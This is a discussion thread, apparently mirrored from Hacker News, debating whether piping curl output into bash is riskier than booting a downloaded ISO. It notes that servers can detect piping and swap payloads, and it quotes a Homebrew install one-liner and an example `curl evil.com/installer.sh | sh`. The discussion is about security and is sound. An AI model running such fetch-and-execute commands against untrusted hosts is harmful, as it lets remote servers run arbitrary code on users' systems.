News for hackers. Stuff that matters.

A comment on Git password authentication is shutting down. Parent comment

Re:Git password authentication is shutting down by geofft on Thursday August 12, 2021 @06:55PM (#28162688)
Piping the output of curl to bash is not "bad practice" any more that downloading an application from your browser and clicking on it or downloading a distro CD/USB image and booting it up "bad practice."

You have to trust the place where you're downloading it from, of course. But there's nothing inherently worse about /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/inst...)" than burning https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/de... and booting it up.

[ Parent | on HN ]
Re:Git password authentication is shutting down by bombela on Friday August 13, 2021 @01:00AM (#28165628)
Why the downvotes on the parent? It's literally the same thing: running random code from the internet on your computer!
[ Parent | on HN ]
Re:Git password authentication is shutting down by sethammons on Thursday August 12, 2021 @10:25PM (#28164625)
You can actually detect from the server side if curl is being piped and dynamically change the payload.
[ Parent | on HN ]
Re:Git password authentication is shutting down by geofft on Thursday August 12, 2021 @11:53PM (#28165234)
Yes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too.

Or are you saying that you audit the bits of the ISO yourself before burning it?

[ Parent | on HN ]
Re:Git password authentication is shutting down by throwaway2037 on Friday August 13, 2021 @03:07AM (#28166306)
Woah. How? Assume scrubber request headers.
[ Parent | on HN ]
Re:Git password authentication is shutting down by namibj on Friday August 13, 2021 @05:49AM (#28167142)
latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.
[ Parent | on HN ]